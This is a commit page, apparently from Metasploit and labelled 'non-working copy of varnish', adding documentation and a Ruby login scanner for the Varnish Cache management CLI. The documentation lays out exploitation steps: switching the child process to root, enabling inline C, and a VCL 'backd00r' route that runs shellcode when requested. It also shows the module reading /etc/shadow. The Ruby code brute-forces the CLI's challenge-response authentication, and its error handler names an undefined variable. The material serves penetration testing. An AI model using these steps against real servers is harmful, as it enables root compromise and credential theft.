Skip to content

Commit 05e59bb

Browse files
committed
non-working copy of varnish
1 parent 774d363 commit 05e59bb

File tree

3 files changed

+291
-132
lines changed

3 files changed

+291
-132
lines changed
Lines changed: 111 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,111 @@
1+
## Vulnerable Application
2+
3+
Ubuntu 14.04 can `apt-get install varnish`. At the time of writing that installed varnish-3.0.5 revision 1a89b1f.
4+
5+
Varnish installed and ran the cli on localhost. First lets kill the service: `sudo service varnish stop`. Now, there are two configurations we want to test:
6+
7+
8+
1. `varnishd -T 0.0.0.0:6082` no authentication
9+
2. `varnishd -T 0.0.0.0:6082 -S <file>` authentication based on shared secret file. I made an easy test one `echo "secret" > secret`
10+
11+
## Exploitation Notes
12+
13+
These notes were taken from the module, and can be used when developing a working remote exploit
14+
15+
```
16+
- varnishd typically runs as root, forked as unpriv.
17+
- 'param.show' lists configurable options.
18+
- 'cli_timeout' is 60 seconds. param.set cli_timeout 99999 (?) if we want to inject payload into a client thread and avoid being killed.
19+
- 'user' is nobody. param.set user root (may have to stop/start the child to activate)
20+
- 'group' is nogroup. param.set group root (may have to stop/start the child to activate)
21+
- (unless varnishd is launched with -r user,group (read-only) implemented in v4, which may make priv esc fail).
22+
- vcc_unsafe_path is on. used to 'import ../../../../file' etc.
23+
- vcc_allow_inline_c is off. param.set vcc_allow_inline_c on to enable code execution.
24+
- code execution notes:
25+
26+
* quotes must be escaped \"
27+
* \n is a newline
28+
* C{ }C denotes raw C code.
29+
* e.g. C{ unsigned char shellcode[] = \"\xcc\"; }C
30+
* #import <stdio.h> etc must be "newline", i.e. C{ \n#include <stdlib.h>\n dosomething(); }C (without 2x \n, include statement will not interpret correctly).
31+
* C{ asm(\"int3\"); }C can be used for inline assembly / shellcode.
32+
* varnishd has it's own 'vcl' syntax. can't seem to inject C randomly - must fit VCL logic.
33+
* example trigger for backdoor:
34+
35+
VCL server:
36+
vcl.inline foo "vcl 4.0;\nbackend b { . host = \"127.0.0.1\"; } sub vcl_recv { if (req.url ~ \"^/backd00r\") { C{ asm(\"int3\"); }C } } \n"
37+
vcl.use foo
38+
start
39+
40+
Attacker:
41+
telnet target 80
42+
GET /backd00r HTTP/1.1
43+
Host: 127.0.0.1
44+
45+
(... wait for child to execute debug trap INT3 / shellcode).
46+
47+
CLI protocol notes from website:
48+
49+
The CLI protocol used on the management/telnet interface is a strict request/response protocol, there are no unsolicited transmissions from the responding end.
50+
51+
Requests are whitespace separated tokens terminated by a newline (NL) character.
52+
53+
Tokens can be quoted with "..." and common backslash escape forms are accepted: (\n), (\r), (\t), (
54+
), (\"), (\%03o) and (\x%02x)
55+
56+
The response consists of a header which can be read as fixed format or ASCII text:
57+
58+
1-3 %03d Response code
59+
4 ' ' Space
60+
5-12 %8d Length of body
61+
13 \n NL character.
62+
Followed by the number of bytes announced by the header.
63+
64+
The Responsecode is numeric shorthand for the nature of the reaction, with the following values currently defined in include/cli.h:
65+
66+
enum cli_status_e {
67+
CLIS_SYNTAX = 100,
68+
CLIS_UNKNOWN = 101,
69+
CLIS_UNIMPL = 102,
70+
CLIS_TOOFEW = 104,
71+
CLIS_TOOMANY = 105,
72+
CLIS_PARAM = 106,
73+
CLIS_OK = 200,
74+
CLIS_CANT = 300,
75+
CLIS_COMMS = 400,
76+
CLIS_CLOSE = 500
77+
};
78+
```
79+
80+
## Verification Steps
81+
82+
Example steps in this format:
83+
84+
1. Install the application
85+
2. Start msfconsole
86+
3. Do: ```use auxiliary/scanner/varnish/varnish_cli_bruteforce```
87+
4. Do: ```run```
88+
5. You should get to read the first line of the /etc/shadow file.
89+
90+
## Options
91+
92+
**FILE**
93+
94+
Which file to read the first line from. The default is /etc/shadow.
95+
96+
## Scenarios
97+
98+
Running against Ubuntu 14.04 with varnish-3.0.5 revision 1a89b1f and NO AUTHENTICATION
99+
100+
```
101+
msf auxiliary(varnish_cli_bruteforce) > use auxiliary/scanner/varnish/varnish_cli_bruteforce
102+
msf auxiliary(varnish_cli_bruteforce) > set verbose true
103+
verbose => true
104+
msf auxiliary(varnish_cli_bruteforce) > run
105+
106+
[+] 192.168.2.85:6082 - Varnishd CLI does not require authentication!
107+
[+] 192.168.2.85:6082 - First line of /etc/shadow: root:!:17123:0:99999:7::::
108+
[*] Scanned 1 of 1 hosts (100% complete)
109+
[*] Auxiliary module execution completed
110+
111+
```
Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
require 'metasploit/framework/login_scanner/base'
2+
require 'metasploit/framework/login_scanner/rex_socket'
3+
4+
module Metasploit
5+
module Framework
6+
module LoginScanner
7+
8+
# This is the LoginScanner class for dealing with Varnish CLI.
9+
# It is responsible for taking a single target, and a list of credentials
10+
# and attempting them. It then saves the results.
11+
class VarnishCLI
12+
include Metasploit::Framework::LoginScanner::Base
13+
include Metasploit::Framework::LoginScanner::RexSocket
14+
include Metasploit::Framework::Tcp::Client
15+
16+
DEFAULT_PORT = 6082
17+
LIKELY_PORTS = [ DEFAULT_PORT ]
18+
LIKELY_SERVICE_NAMES = [ 'varnishcli' ]
19+
PRIVATE_TYPES = [ :password ]
20+
REALM_KEY = nil
21+
22+
def attempt_login(credential)
23+
result_opts = {
24+
credential: credential,
25+
host: host,
26+
port: port,
27+
service_name: 'varnishcli',
28+
protocol: 'tcp',
29+
max_send_size: datastore['TCP::max_send_size'],
30+
send_delay: datastore['TCP::send_delay']
31+
}
32+
begin
33+
disconnect if self.sock
34+
connect
35+
sock.put("auth #{Rex::Text.rand_text_alphanumeric(3)}\n") # Cause a login fail to get the challenge
36+
res = sock.get_once(-1,3) # grab challenge
37+
if res && res =~ /107 \d+\s\s\s\s\s\s\n(\w+)\n\nAuthentication required./ # 107 auth
38+
challenge = $1
39+
response = challenge + "\n"
40+
response << credential.private + "\n"
41+
response << challenge + "\n"
42+
#secret = pass + "\n" # newline is needed
43+
#response = challenge + "\n" + secret + challenge + "\n"
44+
response = Digest::SHA256.hexdigest(response)
45+
sock.put("auth #{response}\n")
46+
res = sock.get_once(-1,3)
47+
if res && res =~ /107 \d+/ # 107 auth
48+
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
49+
elsif res.nil?
50+
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: 'No response')
51+
elsif res =~ /200 \d+/ # 200 ok
52+
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res)
53+
end
54+
elsif res && res =~ /Varnish Cache CLI 1.0/
55+
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: 'No Authentication Required')
56+
else
57+
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: 'Unknown Response')
58+
end
59+
disconnect
60+
rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error
61+
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
62+
end
63+
Result.new(result_opts)
64+
end
65+
66+
def set_sane_defaults
67+
self.connection_timeout ||= 30
68+
self.port ||= DEFAULT_PORT
69+
self.max_send_size ||= 0
70+
self.send_delay ||= 0
71+
end
72+
73+
end
74+
end
75+
end
76+
end

0 commit comments

Comments
 (0)